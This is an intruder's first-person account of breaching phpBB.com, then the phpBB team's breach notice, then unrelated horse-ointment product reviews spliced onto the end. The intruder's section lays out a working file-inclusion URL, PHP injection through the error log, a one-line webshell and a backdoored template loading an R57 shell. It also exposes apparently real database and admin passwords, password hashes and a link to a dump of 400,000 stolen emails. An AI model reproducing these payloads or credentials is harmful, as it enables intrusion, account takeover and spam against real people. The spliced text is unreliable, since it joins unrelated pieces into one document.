It all started on Jan 14th when I was surfing milw0rm and came across this exploit: http://www.milw0rm.com/exploits/7778 I then remembered that phpbb.com was running PHPlist and went looking through my email to find the link to the script's location. So I went to phpbb.com/lists and sure enough they were running a vulnerable version. Next I enabled my favorite program proxy program and tried http://www.phpbb.com/lists/admin/index.php?_SERVER[ConfigFile]=../../../../../../etc/passwd and sure enough it included the etc/passwd
So I moved on to /etc/httpd/conf/httpd.conf
And eventually found my way to their error log /home/logs/phpbb.com/error_log. After a little looking I figured out that their forums were running off /home/virtual/phpbb.com/community/ well it has been known for some time that you can include code in the error log. So I wanted to run some code, well in PHPBB3 the avatars are located in a folder called /home/virtual/phpbb.com/community/images/avatars/upload and your avatar is called (secret hash)_userid.jpg. But I didn't know what the secret has was to include my picture (that had my own code in it) so by using the error log I injected code <?php system("ls /home/virtual/phpbb.com/community/images/avatars/upload") ?>
And figured out that their hash is f51ee61fe7a83fdf72780912bced0855. So now every time I want to upload run code against the server I can include this: /../../../../../../home/virtual/phpbb.com/community/images/avatars/upload/f51ee61fe7a83fdf72780912bced0855_ID.jpg
So my first avatar was something simple <?php system($_POST("c")); ?> and I wanted to see if phpbb kept their config file in plain text so cat /home/virtual/phpbb.com/community/config.php and sure enough, its in plain text.
$dbms = 'mysqli';
$dbhost = 'phpbb.db.osuosl.org';
$dbport = '';
$dbname = 'phpbb';
$dbuser = 'phpbb2';
$dbpasswd = 'saxM9nfRjLbJ2Yy5';
$table_prefix = 'community_';
While I was at it I checked out the config for PHPlist and it was also in plain text:
$database_host = "localhost";
$database_name = "phpbb_phplist";
$database_user = 'phplist';
$database_password = 'Berti3_Danc3';
So I started running commands and found out that I can upload a php text file on the forums and by finding where the path it was stored I was able to get around their 14kb restrictions on avatars and a lot easier than editing images with edjpgcom. So doing a mysql dump of the phplist_admin table it showed in plain text that the password for the one admin account was phpbb_n3ws and the login was phpBB. Wow I am shocked no one brute forced this. So I login and see what I can come across, wow 400,000 registered emails, I'm sure that will go quick on the black market, sorry people but expect a lot of spam. After trying to modify the files that were stored in PHPlist I gave up and moved on to the forums. But not before dumping the PHPlist emails here: http://rapidshare.com/files/192305758/out.txt
On the phpbb forums it states it has 200,000 members, but due to them constantly getting spammed they have well over 400,000 accounts. I started dumping the community_users table with their user_id, username and user_password. PHPBB stores their user's passwords in unsalted md5 and their admin's passwords in some funky hash. But if you run your own forum and are an admin you can have your forums create the hash, and then you do an mysql update to one of the admin account's and your in. Or if you change their password to yours you can use the recover password function. More to come from this later.
So I wrote a script that submits via curl, the md5 hash to a website and then stores the successful result in my own mysql database. The total accounts cracked are: 28635. I could have continued cracking but it was getting boring. Here is a sql file of the cracked passwords. Warning, some of the user name's aren't right as I had to remove ticks and quotes for it to run in my script, so I included their user id so you can check their proper login name.
In gaining access to the admin panel of the forums, I was able to read staff forums and come across some interesting posts. I will share some with you.
List passwords:
TO try and make this easier, below is a list of the mailing list passwords I had, please update and add any others that you have
email@example.com 54a946c47dd434b2
email@example.com 6f543db8f086e11f

Told you they were random Meik ;)
edit by dhn: added website-commits
edit by tm: added phpbb-honey-commits, st--tool-commits, iit-track-commits.
That password should work for all mailing lists on code.phpbb.com.
Emergency contacts and irc info:
And then I remembered that the admin panel allows you to dump tables. So I dumped the users table which is accessible here:
Next I enabled php in template files and added this bit of code to one of the templates:
<!-- PHP -->$ip=$_SERVER['REMOTE_ADDR']; if($ip == "x.x.x.x"){include("/home/virtual/phpbb.com/community/files/(myid)_82ec9f9eb80df2a16cc3638429631c9f");}<!-- ENDPHP -->
Which happened to be a shell, R57shell actually. I then searched for a writable directory and created a php file and wrote the source code to that file. I cleaned up the template and settings and logs and left the forums to run the way they were.
After searching around using the shell I came across the Blog settings:
define('DB_NAME', 'wordpress'); // The name of the database
define('DB_USER', 'blog'); // Your MySQL username
define('DB_PASSWORD', 'htsCCvyCnt5jPYMx'); // ...and password
define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
And now it comes to an end, you may ask why did I do this? For fun mainly, but what I would like to suggest to the team at phpbb is this. If you are going to run third party scripts, either integrate them or keep up to date on their patches. (even though the patch wasn't released for 2 weeks). Also don't allow admin's to recover their passwords, they should have to contact another admin. Another item, doesn't keep plain text files of passwords or in the database plain text passwords.
I know this isn't the best read, but it is very hard to look back on everything you did over the course of a few weeks. But hopefully I can now sleep better knowing that I am not worrying about the next way to break in.

a copy from here http://area51.phpbb.com/phpBB/viewtopic.php?f=71&t=29973
As you may already be aware from the message on phpBB.com or the topic in the #phpBB channel on Freenode, we have recently been attacked via a vulnerability in an outdated PHPList installation. It is important to stress that no vulnerabilities have been found in the phpBB software itself.
We took area51.phpBB.com down along with phpBB.com to ensure integrity and prevent further damage. While we actively work to bring phpBB.com back online, we would also like to inform you of the damage that has been done.
The attacker gained entry through the PHPList application and was able to dump a complete backup of the emails on file. He then used the same exploit to access the phpBB.com database. Both the email list from PHPlist and a copy of the phpBB.com users table were then posted publicly.
phpBB3 uses a complex hashing algorithm in order to prevent someone from determining the plaintext value of a password. phpBB2, however, used a much simpler and less secure md5 algorithm to store passwords. This is one of the many reasons why we have decided to no longer support the phpBB2 software. Because hashes cannot be reversed, phpBB3 is set to convert phpBB2 hashes to the new phpBB3 standard during the first user login. Those users who registered while phpBB.com used phpBB2 and did not login on the new phpBB3 board continue to have their password hashes stored in the old format. Passwords stored in the old format are much less secure than those stored in the new format. The attackers have been focusing purely on the passwords stored in the old format.
If the password to your phpBB.com account is used anywhere else (especially with the same username), we strongly recommend that you change it. Using the same password across multiple sites is not security wise and should not be done under any circumstance. Additionally, you should change your password on phpBB.com, when it becomes available.
We apologise that we allowed this to happen by not patching vulnerable software in time. This demonstrates how critically important it is to always make sure that you keep up to date with any software that is running on your machine. At this time, the team is working around the clock to restore phpBB.com and other resources.
Thank you,
- The phpBB Teams

"all in one"
Perfect all in one for wounds. Any horse owner understands how often pastured horses get scratches or wounds from at times who knows what. This product is perfect to clean without stinging, calm irritation, protect from dirt water and flies, and prevent infections on any and every type of wound or bump. I keep a tube on hand always!
"Have used it since the beginning"
This stuff works great! I love and have used it since I first started owning horses. We all know that with horses, accidents are inevitable. Every time I notice a wound(big or small) I dress it with Tri-Care and some bandage. Keeps flies away and heals in no time!
"Sweet Itch Relief!"
I have a mare with sweet itch (allergy to no see-ums) She has to covered with fly sheets head to toe all summer, but she often pulls her fly mask off. One night of feeding by the midges makes her scratch her head until she has wounds and lost hair all over it. It drives her mad. Tricare ointment is the ONLY thing that seems to relieve it and heal the wounds. I dress the wounds with it and then smooth a thin amount of it all over her head especially her ears. It will keep the midges off her for three days and the wounds heal very quickly. Midges do not like the essential oils in the ointment. It works far better than any fly spray. Great Product!
"works great"
I used Tri-Care on my highland Pony when he tore up his leg. It worked great, healed fast with no flies bothering the wound.
